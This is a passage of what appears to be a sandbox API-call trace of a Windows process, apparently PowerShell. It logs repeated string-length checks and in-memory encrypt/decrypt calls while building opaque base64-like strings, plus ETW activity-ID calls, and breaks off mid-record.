(param_1="\xdedf\x6335\x801a\x17a4\x4141\x7a20\x6bca\xec8d\x1f3a\xa93a\xc305\x18b5\xb72d\xc403\xdeb9\x6794\x4158\xa108\x853d\x53bc\xedbf\xd705\x89\x6107\xe3f1\x60f5\x7119\xa65\xf746\xefe2\xc632\xbd81") returned 0x20 [0138.212] SysStringLen (param_1="\xdedf\x6335\x801a\x17a4\x4141\x7a20\x6bca\xec8d\x1f3a\xa93a\xc305\x18b5\xb72d\xc403\xdeb9\x6794\x4158\xa108\x853d\x53bc\xedbf\xd705\x89\x6107\xe3f1\x60f5\x7119\xa65\xf746\xefe2\xc632\xbd81") returned 0x20 [0138.212] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.212] SysStringLen (param_1="tTKhpnMgfjkbFk+Pl0fzr4ZuZ5j劺⥿쎐䕲凔") returned 0x20 [0138.212] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.212] SysStringLen (param_1="\xdedf\x6335\x801a\x17a4\x4141\x7a20\x6bca\xec8d\x1f3a\xa93a\xc305\x18b5\xb72d\xc403\xdeb9\x6794\x4158\xa108\x853d\x53bc\xedbf\xd705\x89\x6107\xea8b\x1499\xe84e\xbf78\xa10f\x469f\xe1a4\xad50") returned 0x20 [0138.212] SysStringLen (param_1="\xdedf\x6335\x801a\x17a4\x4141\x7a20\x6bca\xec8d\x1f3a\xa93a\xc305\x18b5\xb72d\xc403\xdeb9\x6794\x4158\xa108\x853d\x53bc\xedbf\xd705\x89\x6107\xea8b\x1499\xe84e\xbf78\xa10f\x469f\xe1a4\xad50") returned 0x20 [0138.212] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.212] SysStringLen (param_1="tTKhpnMgfjkbFk+Pl0fzr4ZuZ5jd⥿쎐䕲凔") returned 0x20 [0138.213] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.213] SysStringLen (param_1="\xdedf\x6335\x801a\x17a4\x4141\x7a20\x6bca\xec8d\x1f3a\xa93a\xc305\x18b5\xb72d\xc403\xdeb9\x6794\x4158\xa108\x853d\x53bc\xedbf\xd705\x89\x6107\x6bed\xaaf4\x36c0\x34fa\x3485\x6d12\xec80\xb80d") returned 0x20 [0138.213] SysStringLen (param_1="\xdedf\x6335\x801a\x17a4\x4141\x7a20\x6bca\xec8d\x1f3a\xa93a\xc305\x18b5\xb72d\xc403\xdeb9\x6794\x4158\xa108\x853d\x53bc\xedbf\xd705\x89\x6107\x6bed\xaaf4\x36c0\x34fa\x3485\x6d12\xec80\xb80d") returned 0x20 [0138.213] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.213] SysStringLen (param_1="tTKhpnMgfjkbFk+Pl0fzr4ZuZ5jdW쎐䕲凔") returned 0x20 [0138.213] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.213] SysStringLen (param_1="\xdedf\x6335\x801a\x17a4\x4141\x7a20\x6bca\xec8d\x1f3a\xa93a\xc305\x18b5\xb72d\xc403\xdeb9\x6794\x4158\xa108\x853d\x53bc\xedbf\xd705\x89\x6107\x1eae\x9db\x3b33\xa151\xee09\x271f\x5ff2\xd1e0") returned 0x20 [0138.213] SysStringLen (param_1="\xdedf\x6335\x801a\x17a4\x4141\x7a20\x6bca\xec8d\x1f3a\xa93a\xc305\x18b5\xb72d\xc403\xdeb9\x6794\x4158\xa108\x853d\x53bc\xedbf\xd705\x89\x6107\x1eae\x9db\x3b33\xa151\xee09\x271f\x5ff2\xd1e0") returned 0x20 [0138.213] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.213] SysStringLen (param_1="tTKhpnMgfjkbFk+Pl0fzr4ZuZ5jdWQ䕲凔") returned 0x20 [0138.213] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.214] SysStringLen (param_1="\xdedf\x6335\x801a\x17a4\x4141\x7a20\x6bca\xec8d\x1f3a\xa93a\xc305\x18b5\xb72d\xc403\xdeb9\x6794\x4158\xa108\x853d\x53bc\xedbf\xd705\x89\x6107\x23f5\x4674\x6ce\x64bd\x61bf\xd44a\x3024\x2684") returned 0x20 [0138.214] SysStringLen (param_1="\xdedf\x6335\x801a\x17a4\x4141\x7a20\x6bca\xec8d\x1f3a\xa93a\xc305\x18b5\xb72d\xc403\xdeb9\x6794\x4158\xa108\x853d\x53bc\xedbf\xd705\x89\x6107\x23f5\x4674\x6ce\x64bd\x61bf\xd44a\x3024\x2684") returned 0x20 [0138.214] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.214] SysStringLen (param_1="tTKhpnMgfjkbFk+Pl0fzr4ZuZ5jdWQr凔") returned 0x20 [0138.214] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.214] SysStringLen (param_1="\xdedf\x6335\x801a\x17a4\x4141\x7a20\x6bca\xec8d\x1f3a\xa93a\xc305\x18b5\xb72d\xc403\xdeb9\x6794\x4158\xa108\x853d\x53bc\xedbf\xd705\x89\x6107\x373b\xa0ec\xf16d\x5a08\x6998\xb9b\xeb90\xbe9c") returned 0x20 [0138.214] SysStringLen (param_1="\xdedf\x6335\x801a\x17a4\x4141\x7a20\x6bca\xec8d\x1f3a\xa93a\xc305\x18b5\xb72d\xc403\xdeb9\x6794\x4158\xa108\x853d\x53bc\xedbf\xd705\x89\x6107\x373b\xa0ec\xf16d\x5a08\x6998\xb9b\xeb90\xbe9c") returned 0x20 [0138.214] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.214] SysStringLen (param_1="tTKhpnMgfjkbFk+Pl0fzr4ZuZ5jdWQru") returned 0x20 [0138.214] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.214] SysStringLen (param_1="\xdedf\x6335\x801a\x17a4\x4141\x7a20\x6bca\xec8d\x1f3a\xa93a\xc305\x18b5\xb72d\xc403\xdeb9\x6794\x4158\xa108\x853d\x53bc\xedbf\xd705\x89\x6107\x6ee9\x91d0\x5882\xa7ba\xd83e\x1515\x55c7\x34ec") returned 0x20 [0138.214] SysStringLen (param_1="\xdedf\x6335\x801a\x17a4\x4141\x7a20\x6bca\xec8d\x1f3a\xa93a\xc305\x18b5\xb72d\xc403\xdeb9\x6794\x4158\xa108\x853d\x53bc\xedbf\xd705\x89\x6107\x6ee9\x91d0\x5882\xa7ba\xd83e\x1515\x55c7\x34ec") returned 0x20 [0138.215] SysStringLen (param_1="\xdedf\x6335\x801a\x17a4\x4141\x7a20\x6bca\xec8d\x1f3a\xa93a\xc305\x18b5\xb72d\xc403\xdeb9\x6794\x4158\xa108\x853d\x53bc\xedbf\xd705\x89\x6107\x6ee9\x91d0\x5882\xa7ba\xd83e\x1515\x55c7\x34ec") returned 0x20 [0138.215] SysStringLen (param_1="\xdedf\x6335\x801a\x17a4\x4141\x7a20\x6bca\xec8d\x1f3a\xa93a\xc305\x18b5\xb72d\xc403\xdeb9\x6794\x4158\xa108\x853d\x53bc\xedbf\xd705\x89\x6107\x6ee9\x91d0\x5882\xa7ba\xd83e\x1515\x55c7\x34ec") returned 0x28 [0138.215] SystemFunction041 (in: Memory=0x8ec01dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec01dc) returned 0x0 [0138.215] SysStringLen (param_1="tTKhpnMgfjkbFk+Pl0fzr4ZuZ5jdWQruP釺⯊ꚼ᳾ƀြп") returned 0x28 [0138.215] SystemFunction040 (in: Memory=0x8ec01dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec01dc) returned 0x0 [0138.215] SysStringLen (param_1="\xdedf\x6335\x801a\x17a4\x4141\x7a20\x6bca\xec8d\x1f3a\xa93a\xc305\x18b5\xb72d\xc403\xdeb9\x6794\x4158\xa108\x853d\x53bc\xedbf\xd705\x89\x6107\x6ee9\x91d0\x5882\xa7ba\xd83e\x1515\x55c7\x34ec\xa73e\x85f7\x8d71\x3d28\xf6fa\x4465\xcb66\x4c95") returned 0x28 [0138.215] SysStringLen (param_1="\xdedf\x6335\x801a\x17a4\x4141\x7a20\x6bca\xec8d\x1f3a\xa93a\xc305\x18b5\xb72d\xc403\xdeb9\x6794\x4158\xa108\x853d\x53bc\xedbf\xd705\x89\x6107\x6ee9\x91d0\x5882\xa7ba\xd83e\x1515\x55c7\x34ec\xa73e\x85f7\x8d71\x3d28\xf6fa\x4465\xcb66\x4c95") returned 0x28 [0138.215] SystemFunction041 (in: Memory=0x8ec01dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec01dc) returned 0x0 [0138.215] SysStringLen (param_1="tTKhpnMgfjkbFk+Pl0fzr4ZuZ5jdWQruPn⯊ꚼ᳾ƀြп") returned 0x28 [0138.215] SystemFunction040 (in: Memory=0x8ec01dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec01dc) returned 0x0 [0138.215] SysStringLen (param_1="\xdedf\x6335\x801a\x17a4\x4141\x7a20\x6bca\xec8d\x1f3a\xa93a\xc305\x18b5\xb72d\xc403\xdeb9\x6794\x4158\xa108\x853d\x53bc\xedbf\xd705\x89\x6107\x6ee9\x91d0\x5882\xa7ba\xd83e\x1515\x55c7\x34ec\x6d00\x2f3\xeec\xaa4c\x1b6f\x9102\xa55a\xa0fb") returned 0x28 [0138.215] SysStringLen (param_1="\xdedf\x6335\x801a\x17a4\x4141\x7a20\x6bca\xec8d\x1f3a\xa93a\xc305\x18b5\xb72d\xc403\xdeb9\x6794\x4158\xa108\x853d\x53bc\xedbf\xd705\x89\x6107\x6ee9\x91d0\x5882\xa7ba\xd83e\x1515\x55c7\x34ec\x6d00\x2f3\xeec\xaa4c\x1b6f\x9102\xa55a\xa0fb") returned 0x28 [0138.216] SystemFunction041 (in: Memory=0x8ec01dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec01dc) returned 0x0 [0138.216] SysStringLen (param_1="tTKhpnMgfjkbFk+Pl0fzr4ZuZ5jdWQruPncꚼ᳾ƀြп") returned 0x28 [0138.216] SystemFunction040 (in: Memory=0x8ec01dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec01dc) returned 0x0 [0138.216] SysStringLen (param_1="\xdedf\x6335\x801a\x17a4\x4141\x7a20\x6bca\xec8d\x1f3a\xa93a\xc305\x18b5\xb72d\xc403\xdeb9\x6794\x4158\xa108\x853d\x53bc\xedbf\xd705\x89\x6107\x6ee9\x91d0\x5882\xa7ba\xd83e\x1515\x55c7\x34ec\xf287\x529\x1d92\x31fb\xb10c\xe9e\x7853\x263f") returned 0x28 [0138.216] SysStringLen (param_1="\xdedf\x6335\x801a\x17a4\x4141\x7a20\x6bca\xec8d\x1f3a\xa93a\xc305\x18b5\xb72d\xc403\xdeb9\x6794\x4158\xa108\x853d\x53bc\xedbf\xd705\x89\x6107\x6ee9\x91d0\x5882\xa7ba\xd83e\x1515\x55c7\x34ec\xf287\x529\x1d92\x31fb\xb10c\xe9e\x7853\x263f") returned 0x28 [0138.216] SystemFunction041 (in: Memory=0x8ec01dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec01dc) returned 0x0 [0138.216] SysStringLen (param_1="tTKhpnMgfjkbFk+Pl0fzr4ZuZ5jdWQruPncN᳾ƀြп") returned 0x28 [0138.216] SystemFunction040 (in: Memory=0x8ec01dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec01dc) returned 0x0 [0138.216] SysStringLen (param_1="\xdedf\x6335\x801a\x17a4\x4141\x7a20\x6bca\xec8d\x1f3a\xa93a\xc305\x18b5\xb72d\xc403\xdeb9\x6794\x4158\xa108\x853d\x53bc\xedbf\xd705\x89\x6107\x6ee9\x91d0\x5882\xa7ba\xd83e\x1515\x55c7\x34ec\xf2e4\x26ed\x95a8\x5273\xcdbd\xd356\x97ac\x6a") returned 0x28 [0138.216] SysStringLen (param_1="\xdedf\x6335\x801a\x17a4\x4141\x7a20\x6bca\xec8d\x1f3a\xa93a\xc305\x18b5\xb72d\xc403\xdeb9\x6794\x4158\xa108\x853d\x53bc\xedbf\xd705\x89\x6107\x6ee9\x91d0\x5882\xa7ba\xd83e\x1515\x55c7\x34ec\xf2e4\x26ed\x95a8\x5273\xcdbd\xd356\x97ac\x6a") returned 0x28 [0138.216] SystemFunction041 (in: Memory=0x8ec01dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec01dc) returned 0x0 [0138.217] SysStringLen (param_1="tTKhpnMgfjkbFk+Pl0fzr4ZuZ5jdWQruPncNUƀြп") returned 0x28 [0138.217] SystemFunction040 (in: Memory=0x8ec01dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec01dc) returned 0x0 [0138.217] SysStringLen (param_1="\xdedf\x6335\x801a\x17a4\x4141\x7a20\x6bca\xec8d\x1f3a\xa93a\xc305\x18b5\xb72d\xc403\xdeb9\x6794\x4158\xa108\x853d\x53bc\xedbf\xd705\x89\x6107\x6ee9\x91d0\x5882\xa7ba\xd83e\x1515\x55c7\x34ec\xf9b0\xaed6\x7b90\x4e6f\x7bfb\x72\xdbc9\xe69b") returned 0x28 [0138.217] SysStringLen (param_1="\xdedf\x6335\x801a\x17a4\x4141\x7a20\x6bca\xec8d\x1f3a\xa93a\xc305\x18b5\xb72d\xc403\xdeb9\x6794\x4158\xa108\x853d\x53bc\xedbf\xd705\x89\x6107\x6ee9\x91d0\x5882\xa7ba\xd83e\x1515\x55c7\x34ec\xf9b0\xaed6\x7b90\x4e6f\x7bfb\x72\xdbc9\xe69b") returned 0x28 [0138.217] SystemFunction041 (in: Memory=0x8ec01dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec01dc) returned 0x0 [0138.217] SysStringLen (param_1="tTKhpnMgfjkbFk+Pl0fzr4ZuZ5jdWQruPncNU0ြп") returned 0x28 [0138.217] SystemFunction040 (in: Memory=0x8ec01dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec01dc) returned 0x0 [0138.217] SysStringLen (param_1="\xdedf\x6335\x801a\x17a4\x4141\x7a20\x6bca\xec8d\x1f3a\xa93a\xc305\x18b5\xb72d\xc403\xdeb9\x6794\x4158\xa108\x853d\x53bc\xedbf\xd705\x89\x6107\x6ee9\x91d0\x5882\xa7ba\xd83e\x1515\x55c7\x34ec\x94a8\x64fb\x973a\x2b55\x8daa\x87b0\xbca5\x590c") returned 0x28 [0138.217] SysStringLen (param_1="\xdedf\x6335\x801a\x17a4\x4141\x7a20\x6bca\xec8d\x1f3a\xa93a\xc305\x18b5\xb72d\xc403\xdeb9\x6794\x4158\xa108\x853d\x53bc\xedbf\xd705\x89\x6107\x6ee9\x91d0\x5882\xa7ba\xd83e\x1515\x55c7\x34ec\x94a8\x64fb\x973a\x2b55\x8daa\x87b0\xbca5\x590c") returned 0x28 [0138.217] SystemFunction041 (in: Memory=0x8ec01dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec01dc) returned 0x0 [0138.217] SysStringLen (param_1="tTKhpnMgfjkbFk+Pl0fzr4ZuZ5jdWQruPncNU0Pп") returned 0x28 [0138.217] SystemFunction040 (in: Memory=0x8ec01dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec01dc) returned 0x0 [0138.218] SysStringLen (param_1="\xdedf\x6335\x801a\x17a4\x4141\x7a20\x6bca\xec8d\x1f3a\xa93a\xc305\x18b5\xb72d\xc403\xdeb9\x6794\x4158\xa108\x853d\x53bc\xedbf\xd705\x89\x6107\x6ee9\x91d0\x5882\xa7ba\xd83e\x1515\x55c7\x34ec\xe1aa\x4d8b\x79ef\xa455\x29fb\xa614\x44f3\x3fe9") returned 0x28 [0138.218] SysStringLen (param_1="\xdedf\x6335\x801a\x17a4\x4141\x7a20\x6bca\xec8d\x1f3a\xa93a\xc305\x18b5\xb72d\xc403\xdeb9\x6794\x4158\xa108\x853d\x53bc\xedbf\xd705\x89\x6107\x6ee9\x91d0\x5882\xa7ba\xd83e\x1515\x55c7\x34ec\xe1aa\x4d8b\x79ef\xa455\x29fb\xa614\x44f3\x3fe9") returned 0x28 [0138.218] SystemFunction041 (in: Memory=0x8ec01dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec01dc) returned 0x0 [0138.218] SysStringLen (param_1="tTKhpnMgfjkbFk+Pl0fzr4ZuZ5jdWQruPncNU0PZ") returned 0x28 [0138.218] SystemFunction040 (in: Memory=0x8ec01dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec01dc) returned 0x0 [0138.218] SysStringLen (param_1="\xdedf\x6335\x801a\x17a4\x4141\x7a20\x6bca\xec8d\x1f3a\xa93a\xc305\x18b5\xb72d\xc403\xdeb9\x6794\x4158\xa108\x853d\x53bc\xedbf\xd705\x89\x6107\x6ee9\x91d0\x5882\xa7ba\xd83e\x1515\x55c7\x34ec\x1e0a\xea72\x682d\xb543\xf018\x7905\x6395\x7f02") returned 0x28 [0138.218] SysStringLen (param_1="\xdedf\x6335\x801a\x17a4\x4141\x7a20\x6bca\xec8d\x1f3a\xa93a\xc305\x18b5\xb72d\xc403\xdeb9\x6794\x4158\xa108\x853d\x53bc\xedbf\xd705\x89\x6107\x6ee9\x91d0\x5882\xa7ba\xd83e\x1515\x55c7\x34ec\x1e0a\xea72\x682d\xb543\xf018\x7905\x6395\x7f02") returned 0x28 [0138.218] SysStringLen (param_1="\xdedf\x6335\x801a\x17a4\x4141\x7a20\x6bca\xec8d\x1f3a\xa93a\xc305\x18b5\xb72d\xc403\xdeb9\x6794\x4158\xa108\x853d\x53bc\xedbf\xd705\x89\x6107\x6ee9\x91d0\x5882\xa7ba\xd83e\x1515\x55c7\x34ec\x1e0a\xea72\x682d\xb543\xf018\x7905\x6395\x7f02") returned 0x28 [0138.218] SysStringLen (param_1="\xdedf\x6335\x801a\x17a4\x4141\x7a20\x6bca\xec8d\x1f3a\xa93a\xc305\x18b5\xb72d\xc403\xdeb9\x6794\x4158\xa108\x853d\x53bc\xedbf\xd705\x89\x6107\x6ee9\x91d0\x5882\xa7ba\xd83e\x1515\x55c7\x34ec\x1e0a\xea72\x682d\xb543\xf018\x7905\x6395\x7f02") returned 0x30 [0138.218] SystemFunction041 (in: Memory=0x8e30f44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30f44) returned 0x0 [0138.218] SysStringLen (param_1="tTKhpnMgfjkbFk+Pl0fzr4ZuZ5jdWQruPncNU0PZv᭥둅㓘涐♮俑") returned 0x30 [0138.218] SystemFunction040 (in: Memory=0x8e30f44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30f44) returned 0x0 [0138.219] SysStringLen (param_1="\xdedf\x6335\x801a\x17a4\x4141\x7a20\x6bca\xec8d\x1f3a\xa93a\xc305\x18b5\xb72d\xc403\xdeb9\x6794\x4158\xa108\x853d\x53bc\xedbf\xd705\x89\x6107\x6ee9\x91d0\x5882\xa7ba\xd83e\x1515\x55c7\x34ec\x1e0a\xea72\x682d\xb543\xf018\x7905\x6395\x7f02\x9b55\x5923\x4076\xab77\xba1a\x7a2f\x6e6e\xc796") returned 0x30 [0138.219] SysStringLen (param_1="\xdedf\x6335\x801a\x17a4\x4141\x7a20\x6bca\xec8d\x1f3a\xa93a\xc305\x18b5\xb72d\xc403\xdeb9\x6794\x4158\xa108\x853d\x53bc\xedbf\xd705\x89\x6107\x6ee9\x91d0\x5882\xa7ba\xd83e\x1515\x55c7\x34ec\x1e0a\xea72\x682d\xb543\xf018\x7905\x6395\x7f02\x9b55\x5923\x4076\xab77\xba1a\x7a2f\x6e6e\xc796") returned 0x30 [0138.219] SystemFunction041 (in: Memory=0x8e30f44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30f44) returned 0x0 [0138.219] SysStringLen (param_1="tTKhpnMgfjkbFk+Pl0fzr4ZuZ5jdWQruPncNU0PZvo᭥둅㓘涐♮俑") returned 0x30 [0138.219] SystemFunction040 (in: Memory=0x8e30f44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30f44) returned 0x0 [0138.219] SysStringLen (param_1="\xdedf\x6335\x801a\x17a4\x4141\x7a20\x6bca\xec8d\x1f3a\xa93a\xc305\x18b5\xb72d\xc403\xdeb9\x6794\x4158\xa108\x853d\x53bc\xedbf\xd705\x89\x6107\x6ee9\x91d0\x5882\xa7ba\xd83e\x1515\x55c7\x34ec\x1e0a\xea72\x682d\xb543\xf018\x7905\x6395\x7f02\x4a1e\x21b6\xe031\x9bbf\xc434\xd1b3\x7cdf\x87b5") returned 0x30 [0138.219] SysStringLen (param_1="\xdedf\x6335\x801a\x17a4\x4141\x7a20\x6bca\xec8d\x1f3a\xa93a\xc305\x18b5\xb72d\xc403\xdeb9\x6794\x4158\xa108\x853d\x53bc\xedbf\xd705\x89\x6107\x6ee9\x91d0\x5882\xa7ba\xd83e\x1515\x55c7\x34ec\x1e0a\xea72\x682d\xb543\xf018\x7905\x6395\x7f02\x4a1e\x21b6\xe031\x9bbf\xc434\xd1b3\x7cdf\x87b5") returned 0x30 [0138.219] SystemFunction041 (in: Memory=0x8e30f44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30f44) returned 0x0 [0138.219] SysStringLen (param_1="tTKhpnMgfjkbFk+Pl0fzr4ZuZ5jdWQruPncNU0PZvoM둅㓘涐♮俑") returned 0x30 [0138.219] SystemFunction040 (in: Memory=0x8e30f44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30f44) returned 0x0 [0138.219] SysStringLen (param_1="\xdedf\x6335\x801a\x17a4\x4141\x7a20\x6bca\xec8d\x1f3a\xa93a\xc305\x18b5\xb72d\xc403\xdeb9\x6794\x4158\xa108\x853d\x53bc\xedbf\xd705\x89\x6107\x6ee9\x91d0\x5882\xa7ba\xd83e\x1515\x55c7\x34ec\x1e0a\xea72\x682d\xb543\xf018\x7905\x6395\x7f02\x7d98\x1a06\xcdcb\x1679\x436e\x87bc\x9b77\x3835") returned 0x30 [0138.219] SysStringLen (param_1="\xdedf\x6335\x801a\x17a4\x4141\x7a20\x6bca\xec8d\x1f3a\xa93a\xc305\x18b5\xb72d\xc403\xdeb9\x6794\x4158\xa108\x853d\x53bc\xedbf\xd705\x89\x6107\x6ee9\x91d0\x5882\xa7ba\xd83e\x1515\x55c7\x34ec\x1e0a\xea72\x682d\xb543\xf018\x7905\x6395\x7f02\x7d98\x1a06\xcdcb\x1679\x436e\x87bc\x9b77\x3835") returned 0x30 [0138.219] SystemFunction041 (in: Memory=0x8e30f44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30f44) returned 0x0 [0138.220] SysStringLen (param_1="tTKhpnMgfjkbFk+Pl0fzr4ZuZ5jdWQruPncNU0PZvoM=㓘涐♮俑") returned 0x30 [0138.220] SystemFunction040 (in: Memory=0x8e30f44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30f44) returned 0x0 [0138.220] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x48, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.220] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeacc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeacc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x48, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.220] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x47, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x47, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.220] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae604, nSize=0x100 | out: lpBuffer="\x9fcb\x72b0\xadb8\x667\x1082\x73b6\xbab0\x42f\x108e\x73b6\xe63c\x99a\xc37\x72b2\xadb8\x667\x0b") returned 0x0 [0138.220] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9dc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x49, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.220] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae93c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae93c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x47, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.220] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9cc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x49, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9cc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x49, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.220] SysStringLen (param_1="") returned 0x8 [0138.220] SysStringLen (param_1="Y") returned 0x8 [0138.220] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.255] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0138.255] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0138.255] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.255] SysStringLen (param_1="YW") returned 0x8 [0138.255] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.255] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0138.255] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0138.255] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.255] SysStringLen (param_1="YWM") returned 0x8 [0138.255] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.255] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0138.255] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0138.255] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.256] SysStringLen (param_1="YWM1") returned 0x8 [0138.256] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.256] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0138.256] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0138.256] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.256] SysStringLen (param_1="YWM1O") returned 0x8 [0138.256] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.256] SysStringLen 